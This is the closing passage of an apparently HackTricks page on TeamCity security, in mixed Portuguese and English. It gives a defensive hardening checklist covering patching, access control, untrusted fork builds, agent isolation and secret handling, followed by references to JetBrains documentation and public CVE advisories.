Build triggers and schedules
|
||||
Suspicious artifact publications
|
||||
```
|
||||
## Hardening Checklist
|
||||
|
||||
- Mantenha o TeamCity On-Premises totalmente atualizado; servidores expostos com old auth bypasses são alvos de alto valor.
|
||||
- Não exponha o TeamCity diretamente à internet a menos que strong access controls, SSO/MFA, network filtering e patching rápido estejam em vigor.
|
||||
- Desative Guest Login em servidores de produção.
|
||||
- Desative Super User Access com `teamcity.superUser.disable=true` se os server logs forem exportados ou amplamente legíveis.
|
||||
- Use grupos de least-privilege e custom roles em vez de concessões amplas de Project Administrator.
|
||||
- Use tokens scoped de curta duração para automação REST.
|
||||
- Mantenha as build settings em um repositório separado e protegido se estiver usando versioned settings.
|
||||
- Trate builds de PR de forks como hostile; use Untrusted Builds, aprovação manual e isolated disposable agents.
|
||||
- Separe public/untrusted builds de deployment builds com pools de agents dedicados.
|
||||
- Use disposable agents e force clean checkout para builds sensíveis.
|
||||
- Evite cloud/static credentials de longa duração em parameters; prefira cloud OIDC/workload identity sempre que possível.
|
||||
- Exija IMDSv2 em AWS agents e restrinja o acesso a metadata a partir de containers.
|
||||
- Execute agents como usuários do OS com privilégios baixos e evite montar o Docker socket, a menos que seja estritamente necessário.
|
||||
- Use HTTPS para o tráfego entre agent e server.
|
||||
- Restrinja a instalação de plugins a admins confiáveis e revise alterações em plugins.
|
||||
- Mantenha os server logs e o TeamCity Data Directory legíveis apenas pela conta do OS do servidor TeamCity e por admins.
|
||||
- Use uma custom encryption key para secure values em vez de confiar no mecanismo padrão de scrambling.
|
||||
- Retenha o build history/logs para investigação e restrinja permissões para deletar builds.
|
||||
|
||||
## References
|
||||
|
||||
- [JetBrains - TeamCity Build Agents](https://www.jetbrains.com/help/teamcity/build-agent.html)
|
||||
- [JetBrains - TeamCity REST API](https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html)
|
||||
- [JetBrains - Manage Build Configuration Details via REST](https://www.jetbrains.com/help/teamcity/rest/manage-build-configuration-details.html)
|
||||
- [JetBrains - Build Parameters](https://www.jetbrains.com/help/teamcity/configuring-build-parameters.html)
|
||||
- [JetBrains - Typed / Password Parameters](https://www.jetbrains.com/help/teamcity/typed-parameters.html)
|
||||
- [JetBrains - Security Notes](https://www.jetbrains.com/help/teamcity/security-notes.html)
|
||||
- [JetBrains - Pull Requests](https://www.jetbrains.com/help/teamcity/pull-requests.html)
|
||||
- [JetBrains - Untrusted Builds](https://www.jetbrains.com/help/teamcity/untrusted-builds.html)
|
||||
- [JetBrains - Service Messages](https://www.jetbrains.com/help/teamcity/service-messages.html)
|
||||
- [JetBrains - TeamCity Data Directory](https://www.jetbrains.com/help/teamcity/teamcity-data-directory.html)
|
||||
- [JetBrains - Installing Additional Plugins](https://www.jetbrains.com/help/teamcity/installing-additional-plugins.html)
|
||||
- [JetBrains - CVE-2024-27198 and CVE-2024-27199 advisory](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
|
||||
- [Rapid7 - CVE-2024-27198 and CVE-2024-27199 technical analysis](https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/)
|
||||
- [SonarSource - CVE-2023-42793 TeamCity vulnerability](https://www.sonarsource.com/blog/teamcity-vulnerability)
|
||||
- [CISA - SVR actors exploiting TeamCity CVE-2023-42793](https://www.cisa.gov/news-events/alerts/2023/12/13/cisa-and-partners-release-advisory-russian-svr-affiliated-cyber-actors-exploiting-cve-2023-42793)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user